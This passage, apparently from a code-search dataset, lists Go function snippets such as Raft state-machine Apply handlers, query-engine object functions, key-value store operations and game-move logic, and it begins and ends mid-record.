*ObjectValues) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = oa[k]\n\t}\n\n\treturn value.NewValue(ra), nil\n}","func (machine *StateMachine) Apply(command []byte) []byte {\n\n\tcom := Command{}\n\terr := json.Unmarshal(command, &com)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tif com.Operation == \"write\" {\n\t\tmachine.database[com.Key] = com.Value\n\t\treturn []byte(com.Value)\n\t}\n\n\tval, ok := machine.database[com.Key]\n\tif !ok {\n\t\treturn []byte{}\n\t}\n\treturn []byte(val)\n}","func (v Data) Move(old, new int) {\n\tif old == new {\n\t\treturn // well\n\t}\n\n\tshifting := -1\n\to, n := old, new\n\tif old > new {\n\t\tshifting = 1\n\t\told, new = new+1, old+1\n\t}\n\n\tcell := v[o]\n\tcopy(v[old:new], v[old-shifting:new-shifting])\n\tv[n] = cell\n}","func (elems *Elements) move(from, to dvid.Point3d, deleteElement bool) (moved *Element, changed bool) {\n\tfor i, elem := range *elems {\n\t\tif from.Equals(elem.Pos) {\n\t\t\tchanged = true\n\t\t\t(*elems)[i].Pos = to\n\t\t\tmoved = (*elems)[i].Copy()\n\t\t\tif deleteElement {\n\t\t\t\t(*elems)[i] = (*elems)[len(*elems)-1] // Delete without preserving order.\n\t\t\t\t*elems = (*elems)[:len(*elems)-1]\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\t// Check relationships for any moved points.\n\tfor i, elem := range *elems {\n\t\t// Move any relationship with given pt.\n\t\tfor j, r := range elem.Rels {\n\t\t\tif from.Equals(r.To) {\n\t\t\t\tr.To = to\n\t\t\t\t(*elems)[i].Rels[j] = r\n\t\t\t\tchanged = true\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}","func (this *ObjectPairs) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = map[string]interface{}{\"name\": k, \"value\": oa[k]}\n\t}\n\n\treturn value.NewValue(ra), nil\n}","func (this *ObjectPairs) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = map[string]interface{}{\"name\": k, \"value\": oa[k]}\n\t}\n\n\treturn value.NewValue(ra), nil\n}","func (db *GeoDB) MoveMember(q *GeoQuery) error {\n\tconn := db.pool.Get()\n\tdefer conn.Close()\n\n\t_, err := db.scripts[\"GEOMOVE\"].Do(\n\t\tconn,\n\t\tTwoKeys,\n\t\tq.FromKey,\n\t\tq.ToKey,\n\t\tq.Member,\n\t)\n\n\treturn err\n}","func (this *ObjectInnerValues) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := removeMissing(arg)\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = oa[k]\n\t}\n\n\treturn value.NewValue(ra), nil\n}","func (f *FSM) Apply(log *raft.Log) interface{} {\n\t// Lock the registry for the entire duration of the command\n\t// handlers. This is fine since no other write change can happen\n\t// anyways while we're running. This might slowdown a bit opening new\n\t// leader connections, but since application should be designed to open\n\t// their leaders once for all, it shouldn't be a problem in\n\t// practice. Read transactions are not be affected by the locking.\n\tf.registry.Lock()\n\tdefer f.registry.Unlock()\n\n\ttracer := f.registry.TracerFSM()\n\n\t// If we're being invoked in the context of a Methods replication hook\n\t// applying a log command, block execution of any log commands coming\n\t// on the wire from other leaders until the hook as completed.\n\tif f.registry.HookSyncPresent() && !f.registry.HookSyncMatches(log.Data) {\n\t\ttracer.Message(\"wait for methods hook to complete\")\n\t\t// This will temporarily release and re-acquire the registry lock.\n\t\tf.registry.HookSyncWait()\n\t}\n\n\terr := f.apply(tracer, log)\n\tif err != nil {\n\t\tif f.panicOnFailure {\n\t\t\ttracer.Panic(\"%v\", err)\n\t\t}\n\t\ttracer.Error(\"apply failed\", err)\n\t\treturn err\n\t}\n\n\treturn nil\n}","func (op *OpFlatten) Apply(e *entry.Entry) error {\n\tparent := op.Field.Parent()\n\tval, ok := e.Delete(op.Field)\n\tif !ok {\n\t\t// The field doesn't exist, so ignore it\n\t\treturn fmt.Errorf(\"apply flatten: field %s does not exist on body\", op.Field)\n\t}\n\n\tvalMap, ok := val.(map[string]interface{})\n\tif !ok {\n\t\t// The field we were asked to flatten was not a map, so put it back\n\t\terr := e.Set(op.Field, val)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"reset non-map field\")\n\t\t}\n\t\treturn fmt.Errorf(\"apply flatten: field %s is not a map\", op.Field)\n\t}\n\n\tfor k, v := range valMap {\n\t\terr := e.Set(parent.Child(k), v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func (a Alias) Apply() error {\n\taliasFilePath, err := utils.GetAliasFile()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !utils.FileExists(aliasFilePath) {\n\t\tif _, err = os.Create(aliasFilePath); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\taliasMap, err := utils.AliasMapFromFile(aliasFilePath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\texistingAlias, isAliasContained := aliasMap[a.Alias]\n\tif isAliasContained {\n\t\ttui.Debug(\"Alias %s already exists in alias file %s\", a.Alias, aliasMap)\n\t\tif existingAlias != a.Command {\n\t\t\terrMessage := fmt.Sprintf(\n\t\t\t\t\"Current command for alias '%s' (%s) is different than the requested (%s)\",\n\t\t\t\ta.Alias, existingAlias, a.Command,\n\t\t\t)\n\t\t\treturn errors.New(errMessage)\n\t\t} else {\n\t\t\treturn nil\n\t\t}\n\t} else {\n\t\taliasMap[a.Alias] = a.Command\n\t}\n\n\ttui.Debug(\"Writing to %s\", aliasFilePath)\n\tif err = utils.WriteKeyValuesToFile(aliasMap, aliasFilePath); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func (e *Element) Apply(element *Element) {\n\telement.Children = append(element.Children, e)\n}","func (a Vector) Apply(f func(float64) float64) {\n\tfor k := range a {\n\t\ta[k] = f(a[k])\n\t}\n}","func (this *ObjectUnwrap) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tif len(oa) == 1 {\n\t\tfor _, v := range oa {\n\t\t\treturn value.NewValue(v), nil\n\t\t}\n\t}\n\n\treturn value.NULL_VALUE, nil\n}","func (mp *metaPartition) Apply(command []byte, index uint64) (resp interface{}, err error) {\n\tmsg := &MetaItem{}\n\tdefer func() {\n\t\tif err == nil {\n\t\t\tmp.uploadApplyID(index)\n\t\t}\n\t}()\n\tif err = msg.UnmarshalJson(command); err != nil {\n\t\treturn\n\t}\n\n\tswitch msg.Op {\n\tcase opFSMCreateInode:\n\t\tino := NewInode(0, 0)\n\t\tif err = ino.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tif mp.config.Cursor < ino.Inode {\n\t\t\tmp.config.Cursor = ino.Inode\n\t\t}\n\t\tresp = mp.fsmCreateInode(ino)\n\tcase opFSMUnlinkInode:\n\t\tino := NewInode(0, 0)\n\t\tif err = ino.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmUnlinkInode(ino)\n\tcase opFSMUnlinkInodeBatch:\n\t\tinodes, err := InodeBatchUnmarshal(msg.V)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresp = mp.fsmUnlinkInodeBatch(inodes)\n\tcase opFSMExtentTruncate:\n\t\tino := NewInode(0, 0)\n\t\tif err = ino.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmExtentsTruncate(ino)\n\tcase opFSMCreateLinkInode:\n\t\tino := NewInode(0, 0)\n\t\tif err = ino.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmCreateLinkInode(ino)\n\tcase opFSMEvictInode:\n\t\tino := NewInode(0, 0)\n\t\tif err = ino.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmEvictInode(ino)\n\tcase opFSMEvictInodeBatch:\n\t\tinodes, err := InodeBatchUnmarshal(msg.V)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresp = mp.fsmBatchEvictInode(inodes)\n\tcase opFSMSetAttr:\n\t\treq := &SetattrRequest{}\n\t\terr = json.Unmarshal(msg.V, req)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\terr = mp.fsmSetAttr(req)\n\tcase opFSMCreateDentry:\n\t\tden := &Dentry{}\n\t\tif err = den.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmCreateDentry(den, false)\n\tcase opFSMDeleteDentry:\n\t\tden := &Dentry{}\n\t\tif err = den.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmDeleteDentry(den, false)\n\tcase opFSMDeleteDentryBatch:\n\t\tdb, err := DentryBatchUnmarshal(msg.V)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresp = mp.fsmBatchDeleteDentry(db)\n\tcase opFSMUpdateDentry:\n\t\tden := &Dentry{}\n\t\tif err = den.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmUpdateDentry(den)\n\tcase opFSMUpdatePartition:\n\t\treq := &UpdatePartitionReq{}\n\t\tif err = json.Unmarshal(msg.V, req); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp, err = mp.fsmUpdatePartition(req.End)\n\tcase opFSMExtentsAdd:\n\t\tino := NewInode(0, 0)\n\t\tif err = ino.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmAppendExtents(ino)\n\tcase opFSMExtentsAddWithCheck:\n\t\tino := NewInode(0, 0)\n\t\tif err = ino.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmAppendExtentsWithCheck(ino)\n\tcase opFSMStoreTick:\n\t\tinodeTree := mp.getInodeTree()\n\t\tdentryTree := mp.getDentryTree()\n\t\textendTree := mp.extendTree.GetTree()\n\t\tmultipartTree := mp.multipartTree.GetTree()\n\t\tmsg := &storeMsg{\n\t\t\tcommand: opFSMStoreTick,\n\t\t\tapplyIndex: index,\n\t\t\tinodeTree: inodeTree,\n\t\t\tdentryTree: dentryTree,\n\t\t\textendTree: extendTree,\n\t\t\tmultipartTree: multipartTree,\n\t\t}\n\t\tmp.storeChan <- msg\n\tcase opFSMInternalDeleteInode:\n\t\terr = mp.internalDelete(msg.V)\n\tcase opFSMInternalDeleteInodeBatch:\n\t\terr = mp.internalDeleteBatch(msg.V)\n\tcase opFSMInternalDelExtentFile:\n\t\terr = mp.delOldExtentFile(msg.V)\n\tcase opFSMInternalDelExtentCursor:\n\t\terr = mp.setExtentDeleteFileCursor(msg.V)\n\tcase opFSMSetXAttr:\n\t\tvar extend *Extend\n\t\tif extend, err = NewExtendFromBytes(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\terr = mp.fsmSetXAttr(extend)\n\tcase opFSMRemoveXAttr:\n\t\tvar extend *Extend\n\t\tif extend, err = NewExtendFromBytes(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\terr = mp.fsmRemoveXAttr(extend)\n\tcase opFSMCreateMultipart:\n\t\tvar multipart *Multipart\n\t\tmultipart = MultipartFromBytes(msg.V)\n\t\tresp = mp.fsmCreateMultipart(multipart)\n\tcase opFSMRemoveMultipart:\n\t\tvar multipart *Multipart\n\t\tmultipart = MultipartFromBytes(msg.V)\n\t\tresp = mp.fsmRemoveMultipart(multipart)\n\tcase opFSMAppendMultipart:\n\t\tvar multipart *Multipart\n\t\tmultipart = MultipartFromBytes(msg.V)\n\t\tresp = mp.fsmAppendMultipart(multipart)\n\tcase opFSMSyncCursor:\n\t\tvar cursor uint64\n\t\tcursor = binary.BigEndian.Uint64(msg.V)\n\t\tif cursor > mp.config.Cursor {\n\t\t\tmp.config.Cursor = cursor\n\t\t}\n\t}\n\n\treturn\n}","func (kv *KVServer) ApplyOp(op Op, opIndex int, opTerm int) KVAppliedOp {\n\terr := Err(OK)\n\tval, keyOk := kv.store[op.Key]\n\n\t// only do the store modification if we haven't already\n\t// seen this request (can happen if a leader crashes after comitting\n\t// but before responding to client)\n\tif prevOp, ok := kv.latestResponse[op.ClientID]; !ok || prevOp.KVOp.ClientSerial != op.ClientSerial {\n\t\tif op.OpType == \"Get\" && !keyOk {\n\t\t\t// Get\n\t\t\terr = Err(ErrNoKey)\n\t\t} else if op.OpType == \"Put\" {\n\t\t\t// Put\n\t\t\tkv.store[op.Key] = op.Value\n\t\t} else if op.OpType == \"Append\" {\n\t\t\t// Append (may need to just Put)\n\t\t\tif !keyOk {\n\t\t\t\tkv.store[op.Key] = op.Value // should this be ErrNoKey?\n\t\t\t} else {\n\t\t\t\tkv.store[op.Key] += op.Value\n\t\t\t}\n\t\t}\n\t\tkv.Log(LogInfo, \"Store updated:\", kv.store)\n\t} else {\n\t\tkv.Log(LogDebug, \"Skipping store update, detected duplicate command.\")\n\t}\n\n\t// create the op, add the Value field if a Get\n\tappliedOp := KVAppliedOp{\n\t\tTerm: opTerm,\n\t\tIndex: opIndex,\n\t\tKVOp: op,\n\t\tErr: err,\n\t}\n\tif op.OpType == \"Get\" {\n\t\tappliedOp.Value = val\n\t}\n\tkv.Log(LogDebug, \"Applied op\", appliedOp)\n\n\t// update tracking of latest op applied\n\tkv.lastIndexApplied = appliedOp.Index\n\tkv.lastTermApplied = appliedOp.Term\n\treturn appliedOp\n}","func (entries *Entries) insert(entry Entry) Entry {\n\ti := entries.search(entry.Key())\n\n\tif i == len(*entries) {\n\t\t*entries = append(*entries, entry)\n\t\treturn nil\n\t}\n\n\tif (*entries)[i].Key() == entry.Key() {\n\t\toldEntry := (*entries)[i]\n\t\t(*entries)[i] = entry\n\t\treturn oldEntry\n\t}\n\n\t(*entries) = append(*entries, nil)\n\tcopy((*entries)[i+1:], (*entries)[i:])\n\t(*entries)[i] = entry\n\treturn nil\n}","func (this *ObjectInnerPairs) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := removeMissing(arg)\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = map[string]interface{}{\"name\": k, \"value\": oa[k]}\n\t}\n\n\treturn value.NewValue(ra), nil\n}","func (sm *ShardMaster) Update() {\n\tfor true {\n\t\tlog := <- sm.applyCh\n\t\ttp := log.Command.(Op)\n\t\tvar cid int64\n\t\tvar rid int\n\t\tvar result OpReply\n\t\tswitch tp.OpType{\n\t\tcase Join:\n\t\t\targs := tp.Args.(JoinArgs)\n\t\t\tcid = args.ClientId\n\t\t\trid = args.RequestId\n\t\t\tresult.args = args\n\t\tcase Leave:\n\t\t\targs := tp.Args.(LeaveArgs)\n\t\t\tcid = args.ClientId\n\t\t\trid = args.RequestId\n\t\t\tresult.args = args\n\t\tcase Move:\n\t\t\targs := tp.Args.(MoveArgs)\n\t\t\tcid = args.ClientId\n\t\t\trid = args.RequestId\n\t\t\tresult.args = args\n\t\tcase Query:\n\t\t\targs := tp.Args.(QueryArgs)\n\t\t\tcid = args.ClientId\n\t\t\trid = args.RequestId\n\t\t\tresult.args = args\n\t\t}\n\t\tresult.OpType = tp.OpType\n\t\tdup := sm.duplication(cid, rid)\n\t\tresult.reply = sm.getApply(tp, dup)\n\t\tsm.sendResult(log.Index, result)\n\t\tsm.Validation()\n\t}\n}"],"string":"[\n \"func (s *State) applyMove(m Move) {\\n\\ts.Snakes[m.ID].applyMove(m)\\n}\",\n \"func (a *MoveForwardAction) Apply(currentState *pogo.GameState) (*pogo.GameState, error) {\\n\\tnextState := currentState.DeepCopy()\\n\\tnextState.AppendAnimation(animations.GetMoveForward(a.GetOwner()))\\n\\tplayer := nextState.GetPlayer(a.GetOwner())\\n\\tif player == nil {\\n\\t\\treturn nextState, fmt.Errorf(\\\"there is no player with id %v\\\", a.Owner)\\n\\t}\\n\\tswitch player.Facing {\\n\\tcase 0: // going north\\n\\t\\tplayer.Location = player.Location - nextState.BoardWidth\\n\\t\\tbreak\\n\\tcase 1: // going east\\n\\t\\tplayer.Location = player.Location + 1\\n\\t\\tbreak\\n\\tcase 2: // going south\\n\\t\\tplayer.Location = player.Location + nextState.BoardWidth\\n\\t\\tbreak\\n\\tcase 3: // going west\\n\\t\\tplayer.Location = player.Location - 1\\n\\t\\tbreak\\n\\tdefault:\\n\\t\\treturn nextState, fmt.Errorf(\\\"player %v with unknown facing %v\\\", player.ID, player.Facing)\\n\\t}\\n\\treturn nextState, nil\\n}\",\n \"func (gm *gmap) applyEntries(gmp *gmapProgress, apply *apply) {\\n\\t// Has entry?\\n\\tif len(apply.entries) == 0 {\\n\\t\\treturn\\n\\t}\\n\\t// Is the node leave the cluster tool long, the latest snapshot is better than the entry.\\n\\tfirsti := apply.entries[0].Index\\n\\tif firsti > gmp.appliedi+1 {\\n\\t\\tlogger.Panicf(\\\"first index of committed entry[%d] should <= appliedi[%d] + 1\\\", firsti, gmp.appliedi)\\n\\t}\\n\\t// Extract useful entries.\\n\\tvar ents []raftpb.Entry\\n\\tif gmp.appliedi+1-firsti < uint64(len(apply.entries)) {\\n\\t\\tents = apply.entries[gmp.appliedi+1-firsti:]\\n\\t}\\n\\t// Iterate all entries\\n\\tfor _, e := range ents {\\n\\t\\tswitch e.Type {\\n\\t\\t// Normal entry.\\n\\t\\tcase raftpb.EntryNormal:\\n\\t\\t\\tif len(e.Data) != 0 {\\n\\t\\t\\t\\t// Unmarshal request.\\n\\t\\t\\t\\tvar req InternalRaftRequest\\n\\t\\t\\t\\tpbutil.MustUnmarshal(&req, e.Data)\\n\\n\\t\\t\\t\\tvar ar applyResult\\n\\t\\t\\t\\t// Put new value\\n\\t\\t\\t\\tif put := req.Put; put != nil {\\n\\t\\t\\t\\t\\t// Get set.\\n\\t\\t\\t\\t\\tset, exist := gm.sets[put.Set]\\n\\t\\t\\t\\t\\tif !exist {\\n\\t\\t\\t\\t\\t\\tlogger.Panicf(\\\"set(%s) is not exist\\\", put.Set)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t// Get key, value and revision.\\n\\t\\t\\t\\t\\tkey, value, revision := put.Key, set.vtype.unwrap(put.Value), e.Index\\n\\t\\t\\t\\t\\t// Get map and put value into map.\\n\\t\\t\\t\\t\\tm := set.get(put.Map)\\n\\t\\t\\t\\t\\tm.put(key, value, revision)\\n\\t\\t\\t\\t\\t// Send put event to watcher\\n\\t\\t\\t\\t\\tevent := MapEvent{Type: PUT, KV: &KeyValue{Key: key, Value: value}}\\n\\t\\t\\t\\t\\tm.watchers.Range(func(key, value interface{}) bool {\\n\\t\\t\\t\\t\\t\\tkey.(*watcher).eventc <- event\\n\\t\\t\\t\\t\\t\\treturn true\\n\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t// Set apply result.\\n\\t\\t\\t\\t\\tar.rev = revision\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Delete value\\n\\t\\t\\t\\tif del := req.Delete; del != nil {\\n\\t\\t\\t\\t\\t// Get set.\\n\\t\\t\\t\\t\\tset, exist := gm.sets[del.Set]\\n\\t\\t\\t\\t\\tif !exist {\\n\\t\\t\\t\\t\\t\\tlogger.Panicf(\\\"set(%s) is not exist\\\", del.Set)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t// Get map and delete value from map.\\n\\t\\t\\t\\t\\tm := set.get(del.Map)\\n\\t\\t\\t\\t\\tif pre := m.delete(del.Key); nil != pre {\\n\\t\\t\\t\\t\\t\\t// Send put event to watcher\\n\\t\\t\\t\\t\\t\\tar.pre = *pre\\n\\t\\t\\t\\t\\t\\tevent := MapEvent{Type: DELETE, PrevKV: &KeyValue{Key: del.Key, Value: ar.pre.Value}}\\n\\t\\t\\t\\t\\t\\tm.watchers.Range(func(key, value interface{}) bool {\\n\\t\\t\\t\\t\\t\\t\\tkey.(*watcher).eventc <- event\\n\\t\\t\\t\\t\\t\\t\\treturn true\\n\\t\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Update value\\n\\t\\t\\t\\tif update := req.Update; update != nil {\\n\\t\\t\\t\\t\\t// Get set.\\n\\t\\t\\t\\t\\tset, exist := gm.sets[update.Set]\\n\\t\\t\\t\\t\\tif !exist {\\n\\t\\t\\t\\t\\t\\tlogger.Panicf(\\\"set(%s) is not exist\\\", update.Set)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t// Get map.\\n\\t\\t\\t\\t\\tm := set.get(update.Map)\\n\\t\\t\\t\\t\\t// Update value.\\n\\t\\t\\t\\t\\tpre, ok := m.update(update.Key, update.Value, update.Revision, e.Index)\\n\\t\\t\\t\\t\\tif ok {\\n\\t\\t\\t\\t\\t\\t// The revision will be set only if update succeed\\n\\t\\t\\t\\t\\t\\tar.rev = e.Index\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tif nil != pre {\\n\\t\\t\\t\\t\\t\\tar.pre = *pre\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Trigger proposal waiter.\\n\\t\\t\\t\\tgm.wait.Trigger(req.ID, &ar)\\n\\t\\t\\t}\\n\\t\\t// The configuration of gmap is fixed and wil not be synchronized through raft.\\n\\t\\tcase raftpb.EntryConfChange:\\n\\t\\tdefault:\\n\\t\\t\\tlogger.Panicf(\\\"entry type should be either EntryNormal or EntryConfChange\\\")\\n\\t\\t}\\n\\n\\t\\tgmp.appliedi, gmp.appliedt = e.Index, e.Term\\n\\t}\\n}\",\n \"func applyMove(s *State, m Move) {\\n\\tprevious := s.CellForPiece(m.Piece())\\n\\tnext := nextCell(previous, m.Direction())\\n\\tif pid, ok := s.cellsToPieceIDs.Get(next); ok {\\n\\t\\tif s.playerForPieceID(pid) == s.CurrentPlayer() {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\tif p := s.PieceForCell(next); s.PlayerForPiece(p) == s.NextPlayer() {\\n\\t\\ts.pieces.Set(p.ID(), NewPiece(\\n\\t\\t\\tp.ID(),\\n\\t\\t\\tp.Life()-m.Piece().Damage(),\\n\\t\\t\\tp.Damage(),\\n\\t\\t))\\n\\t\\treturn\\n\\t}\\n\\ts.piecesToCells.Set(m.Piece(), next)\\n\\ts.cellsToPieceIDs.Set(next, m.Piece().ID())\\n\\ts.cellsToPieceIDs.Remove(previous)\\n}\",\n \"func (board Board) ApplyMove(move Move) StoneStorage {\\n\\tstones := board.stones.Copy()\\n\\tstones.Move(move)\\n\\n\\treturn Board{board.size, stones}\\n}\",\n \"func (op *OpRemove) Apply(e *entry.Entry) error {\\n\\te.Delete(op.Field)\\n\\treturn nil\\n}\",\n \"func (c *CompareAndSwapCommand) Apply(context raft.Context) (interface{}, error) {\\n\\ts, _ := context.Server().StateMachine().(store.Store)\\n\\n\\te, err := s.CompareAndSwap(c.Key, c.PrevValue, c.PrevIndex, c.Value, c.ExpireTime)\\n\\n\\tif err != nil {\\n\\t\\tlog.Debug(err)\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn e, nil\\n}\",\n \"func (service *ProjectService) MoveManifestEntry(to, from int) error {\\n\\treturn service.commander.Register(\\n\\t\\tcmd.Named(\\\"MoveManifestEntry\\\"),\\n\\t\\tcmd.Forward(func(modder world.Modder) error {\\n\\t\\t\\treturn service.mod.World().MoveEntry(to, from)\\n\\t\\t}),\\n\\t\\tcmd.Reverse(func(modder world.Modder) error {\\n\\t\\t\\treturn service.mod.World().MoveEntry(from, to)\\n\\t\\t}),\\n\\t)\\n}\",\n \"func (m *TMap) Apply(args ...interface{}) interface{} {\\n\\tkey := args[0]\\n\\treturn m.At(key)\\n}\",\n \"func (u updateCachedUploadRevision) apply(data *journalPersist) {\\n\\tc := data.CachedRevisions[u.Revision.ParentID.String()]\\n\\tc.Revision = u.Revision\\n\\tif u.SectorIndex == len(c.MerkleRoots) {\\n\\t\\tc.MerkleRoots = append(c.MerkleRoots, u.SectorRoot)\\n\\t} else if u.SectorIndex < len(c.MerkleRoots) {\\n\\t\\tc.MerkleRoots[u.SectorIndex] = u.SectorRoot\\n\\t} else {\\n\\t\\t// Shouldn't happen. TODO: Add correct error handling.\\n\\t}\\n\\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\\n}\",\n \"func (op *OpRetain) Apply(e *entry.Entry) error {\\n\\tnewEntry := entry.New()\\n\\tnewEntry.Timestamp = e.Timestamp\\n\\tfor _, field := range op.Fields {\\n\\t\\tval, ok := e.Get(field)\\n\\t\\tif !ok {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\terr := newEntry.Set(field, val)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\t*e = *newEntry\\n\\treturn nil\\n}\",\n \"func (a *MoveBackwardAction) Apply(currentState *pogo.GameState) (*pogo.GameState, error) {\\n\\tnextState := currentState.DeepCopy()\\n\\tnextState.AppendAnimation(animations.GetMoveBackward(a.GetOwner()))\\n\\tplayer := nextState.GetPlayer(a.GetOwner())\\n\\tif player == nil {\\n\\t\\treturn nextState, fmt.Errorf(\\\"there is no player with id %v\\\", a.GetOwner())\\n\\t}\\n\\tswitch player.Facing {\\n\\tcase 0: // facing north going south\\n\\t\\tplayer.Location = player.Location + nextState.BoardWidth\\n\\t\\tbreak\\n\\tcase 1: // facing east going west\\n\\t\\tplayer.Location = player.Location - 1\\n\\t\\tbreak\\n\\tcase 2: // facing south going north\\n\\t\\tplayer.Location = player.Location - nextState.BoardWidth\\n\\t\\tbreak\\n\\tcase 3: // facing west going east\\n\\t\\tplayer.Location = player.Location + 1\\n\\t\\tbreak\\n\\tdefault:\\n\\t\\treturn nextState, fmt.Errorf(\\\"player %v with unknown facing %v\\\", player.ID, player.Facing)\\n\\t}\\n\\treturn nextState, nil\\n}\",\n \"func ApplyMove(board Board, fullMove FullMove, updateStates bool) Board {\\n\\tinfo := GetBoardAt(board, fullMove.pos)\\n\\n\\t// switch state changes for castling & en-passant\\n\\tif updateStates {\\n\\t\\tboard = resetPawnsStatus(board, info.color)\\n\\t\\tif info.piece == Piece_King || info.piece == Piece_Rock {\\n\\t\\t\\tinfo.status = PieceStatus_CastlingNotAllowed\\n\\t\\t}\\n\\t\\tif info.piece == Piece_Pawn && math.Abs(float64(fullMove.move.y)) == 2. {\\n\\t\\t\\tinfo.status = PieceStatus_EnPassantAllowed\\n\\t\\t}\\n\\t\\tif info.piece == Piece_Pawn && math.Abs(float64(fullMove.move.y)) == 1. {\\n\\t\\t\\tinfo.status = PieceStatus_Default\\n\\t\\t}\\n\\t}\\n\\n\\tSetBoardAt(&board, fullMove.pos, EmptyPieceInfo)\\n\\tSetBoardAt(&board, PositionAdd(fullMove.pos, fullMove.move), info)\\n\\treturn board\\n}\",\n \"func (s *Store) Apply(command []byte, index uint64) (resp interface{}, err error) {\\n\\traftCmd := raftpb.CreateRaftCommand()\\n\\tif err = raftCmd.Unmarshal(command); err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\tswitch raftCmd.Type {\\n\\tcase raftpb.CmdType_WRITE:\\n\\t\\tresp, err = s.execRaftCommand(index, raftCmd.WriteCommands)\\n\\n\\tdefault:\\n\\t\\ts.Engine.SetApplyID(index)\\n\\t\\terr = storage.ErrorCommand\\n\\t\\tlog.Error(\\\"unsupported command[%s]\\\", 